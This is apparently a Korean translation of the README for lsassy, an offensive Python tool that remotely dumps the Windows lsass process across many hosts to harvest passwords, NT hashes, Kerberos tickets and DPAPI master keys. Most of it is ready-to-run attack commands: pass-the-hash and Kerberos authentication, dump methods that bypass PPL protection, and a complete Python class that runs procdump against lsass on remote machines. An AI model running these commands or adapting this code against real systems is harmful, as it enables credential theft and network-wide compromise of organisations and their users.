
lsass에서 원격으로 자격 증명 추출
호스트 집합에서 원격으로 자격 증명을 추출하는 Python 도구입니다. 이 블로그 게시물에서 작동 방식을 설명합니다.
이 도구는 lsass 덤프에서 필요한 바이트를 원격으로 읽기 위해 impacket 프로젝트를 사용하고, 자격 증명을 추출하기 위해 pypykatz를 사용합니다.
| 장 | 설명 |
|---|---|
| 경고 | 이 도구를 사용하기 전에 읽어주세요 |
| 설치 | Lsassy 설치 |
| 기본 사용법 | 기본 lsassy 사용법 |
| 고급 사용법 | 매개변수 설명이 포함된 고급 lsassy 사용법 |
| 덤프 방법 추가 | 사용자 정의 lsass 덤프 방법을 추가하는 방법 |
| 감사의 말 | 이 사람들과 도구에 감사드립니다 |
| 공식 Discord | 공식 Discord 서버 |
도구를 안정적으로 만들기 위해 모든 노력을 기울였지만, 오류가 발생하면 흔적이 남을 수 있습니다.
이 도구는 삭제에 실패한 lsass 덤프를 남기거나(삭제를 위해 최선을 다하지만), 예약된 작업이 삭제되지 않고 남아 있을 수 있습니다. 이런 일이 발생해서는 안 되지만 발생할 수 있습니다. 이제 알았으니 주의해서 사용하세요.
lsassy는 python >= 3.7 에서 작동합니다.
python3 -m pip install lsassy
python3 setup.py install
lsassy는 여러 대상(IP, 범위, CIDR, 호스트 이름, FQDN, 대상 목록이 포함된 파일)에서 즉시 작동합니다.
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
기본적으로 lsassy는 comsvcs.dll 방식을 사용하여 WMI 또는 원격 예약 작업을 통해 원격으로 lsass를 덤프하려고 시도합니다.
lsassy는 Kerberos로 인증할 수 있습니다. KRB5CCNAME 환경 변수에 유효한 TGT가 필요합니다. 자세한 내용은 고급 사용법을 참조하세요.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy에는 다양한 lsass 덤프 방법이 구현되어 있으며, 사용자가 도구 진행 방식을 제어할 수 있도록 몇 가지 옵션이 제공됩니다.
lsassy는 모듈로 나뉩니다.
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
이 모듈은 오케스트레이터입니다. 제공된 인수와 옵션으로 lsassy 클래스를 생성한 다음 다양한 모듈을 호출하여 자격 증명을 검색합니다.
이 모듈은 로깅 목적으로 사용됩니다.
이것은 Impacket 위에 구축된 레이어로, Python 내장 파일 객체처럼 동작합니다. open, read, seek 또는 close와 같은 메서드를 재정의합니다.
이 모듈은 모든 덤프 로직이 있는 곳입니다. 사용된 방법에 따라 원격 호스트에서 코드를 실행하여 제공된 방법을 사용하여 lsass를 덤프합니다.
이 모듈은 pypykatz에 의존하며 lsassy 파일 모듈을 사용하여 lsass 덤프를 원격으로 구문 분석합니다.
이 모듈은 출력 부분을 처리합니다. 화면에 다양한 형식으로 표시하거나 결과를 파일에 씁니다.
이 도구는 다양한 방식으로 lsass를 덤프할 수 있습니다.
덤프 방법 (-m 또는 --method)
이 방법은 기본 Windows 파일만 사용하여 원격 자격 증명을 추출합니다. comsvcs.dll의 minidump 함수를 사용하여 lsass 프로세스를 덤프합니다.
이 방법은 SysInternals의 procdump.exe를 업로드하여 lsass 프로세스를 덤프합니다.
이 방법은 outflanknl의 dumpert.exe 또는 dumpert.dll을 업로드하여 시스템 콜을 사용하여 lsass 프로세스를 덤프합니다.
이 방법은 ricardojoserf의 NativeDump.exe를 업로드하여 NTAPI만 사용하여 lsass 프로세스를 덤프합니다.
이 방법은 itm4n의 ppldump.exe를 업로드하여 lsass 프로세스를 덤프하고 PPL을 우회합니다.
이 방법은 Ccob의 Mirrordump.exe를 업로드하여 LSA 플러그인을 통해 lsass에 대한 이미 열린 핸들을 사용하여 lsass를 덤프합니다.
이 방법은 PowerSploit에서 사용된 WER 기술을 사용합니다.
일부 덤프 방법에는 procdump 또는 dumpert 경로와 같은 옵션이 필요합니다. 이러한 옵션은 --options 또는 -O를 사용하여 설정할 수 있으며, 쉼표로 구분된 key=value 형식의 옵션 목록을 제공합니다.
... --options key=value,foo=bar
예:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
이미 덤프된 lsass 프로세스를 구문 분석하려면 --parse-only 스위치와 함께 --dump-path 및 --dump-name 매개변수를 제공할 수 있습니다.
이 방법을 선택하면 원격 lsass 덤프가 삭제되지 않습니다.
예:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
lsassy 실행 후 덤프가 자동으로 삭제되는 것을 원하지 않으면 --keep-dump를 사용하세요.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberos 티켓은 추출되어 $HOME/.config/lsassy/tickets에 ccache 형식으로 저장됩니다. -K [디렉토리] 또는 --kerberos-dir [디렉토리] 매개변수를 사용하여 출력 디렉토리를 지정할 수 있습니다. 이 디렉토리가 존재하지 않으면 도구가 티켓을 출력하기 전에 디렉토리 생성을 시도합니다.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPI 마스터 키는 추출되어 $HOME/.config/lsassy/masterkeys.txt에 {GUID}:SHA1 형식으로 저장됩니다. -M [경로] 또는 --masterkeys-file [경로] 매개변수를 사용하여 마스터키 파일 경로를 지정할 수 있습니다. 파일 경로가 존재하지 않으면 도구가 파일을 생성하기 전에 생성을 시도합니다.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
lsassy를 사용하여 원격 대상에 인증하는 세 가지 방법이 있습니다. 유일한 요구 사항은 사용자가 원격 대상에 대한 로컬 관리 권한이 있어야 한다는 것입니다.
첫 번째이자 가장 명백한 방법은 일반 텍스트 자격 증명을 사용하는 것입니다. 로컬 사용자 또는 도메인 사용자일 수 있습니다.
## 로컬 사용자
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## 도메인 사용자
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
사용자의 NT 해시를 사용하여 인증할 수도 있습니다. LM:NT 또는 NT 버전만 제공할 수 있습니다.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## 또는
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Kerberos를 사용하여 인증할 수도 있습니다. 이렇게 하려면 디스크에 유효한 티켓이 저장되어 있어야 하며, 티켓 경로는 KRB5CCNAME 환경 변수에 제공되어야 합니다. 테스트 목적으로 impacket의 getTGT.py 도구를 사용하여 이를 수행할 수 있습니다.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
이 명령은 TGT를 요청하고 jsnow.ccache 파일에 저장합니다.
lsassy가 사용할 티켓을 알 수 있도록 KRB5CCNAME 환경 변수에 티켓 경로를 명시적으로 설정해야 합니다.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
올바르게 구성되면 -k 매개변수를 사용하여 해당 티켓을 인증에 사용할 수 있습니다. 이 티켓을 사용하므로 더 이상 다른 인증 정보를 제공할 필요가 없습니다.
lsassy -k server01.hackn.lab
이 기능이 작동하려면 유효한 DNS 구성(동적 DNS 서버 또는 정적 hosts 파일 사용)이 필요합니다. 또한 티켓을 생성하고 lsassy를 사용할 때는 항상 FQDN을 사용해야 합니다(예: server01 대신 server01.hackn.lab).
lsassy는 --format 또는 -f 플래그를 사용하여 다양한 형식으로 자격 증명을 출력할 수 있습니다.
기본 형식으로, 깔끔하고 보기 좋은 자격 증명이 황금색으로 표시됩니다. In credz we trust.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
결과를 json 형식으로 표시합니다. 스크립트에서 호출할 때 유용할 수 있습니다.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
grep 가능한 출력으로, 원라이너에서 유용할 수 있습니다.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
결과를 표시하지 않습니다. --outfile 사용 시 유용합니다.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
제공된 파일에 grep 가능한 형식으로 결과를 저장합니다. (--outfile 또는 -o)
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
컴퓨터 자격 증명을 제외하고 사용자 자격 증명만 가져오려면 --users 플래그를 사용할 수 있습니다.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
티켓을 내보내지 않으려면 --no-tickets 플래그를 사용할 수 있습니다.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
마스터키를 내보내지 않으려면 --no-masterkeys 플래그를 사용할 수 있습니다.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
--threads 매개변수를 사용하여 사용할 스레드 수를 결정할 수 있습니다 [1-256].
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
dumpmethod 디렉토리에 dummy.py.tpl 파일이 있습니다. 이 파일은 새로운 덤프 방법 기능을 생성하기 위한 기본 구조를 포함합니다.
이 메서드는 필수입니다. lsass를 어떤 방식으로든 덤프하기 위해 원격 호스트에서 코드를 실행하는 데 사용되는 메서드입니다. cmd 및 pwsh의 두 항목이 있는 사전을 반환해야 합니다.
cmd 명령어는 cmd.exe 유틸리티가 이해하는 명령어입니다. pwsh 명령어는 PowerShell이 이해하는 명령어입니다(대부분의 경우 cmd 명령어도 PowerShell에서 유효합니다).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
덤프 방법에 필요한 파일(예: sysinternals의 procdump.exe)을 쉽게 업로드할 수 있는 Dependency 클래스가 있습니다. 두 가지 메서드를 사용할 수 있습니다:
prepare_dependencies: 사용자가 모든 매개변수를 제공했는지 확인하고 로컬 사용자 디스크에서 파일을 찾아 업로드한 다음 실제로 파일을 업로드합니다.clean_dependencies: 업로드된 파일을 제거하려고 시도합니다.이 메서드는 get_commands가 제공하는 명령어를 실행하기 전에 호출됩니다. 파일을 업로드하거나 항목을 확인하는 데 사용할 수 있습니다.
이 메서드는 get_commands가 제공하는 명령어를 실행한 후에 호출됩니다. 업로드된 파일을 삭제하거나 항목을 정리하는 데 사용할 수 있습니다.
다음은 주석이 포함된 procdump 예제입니다.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
더 많은 주석이나 정보는 dummy 클래스를 확인하세요.
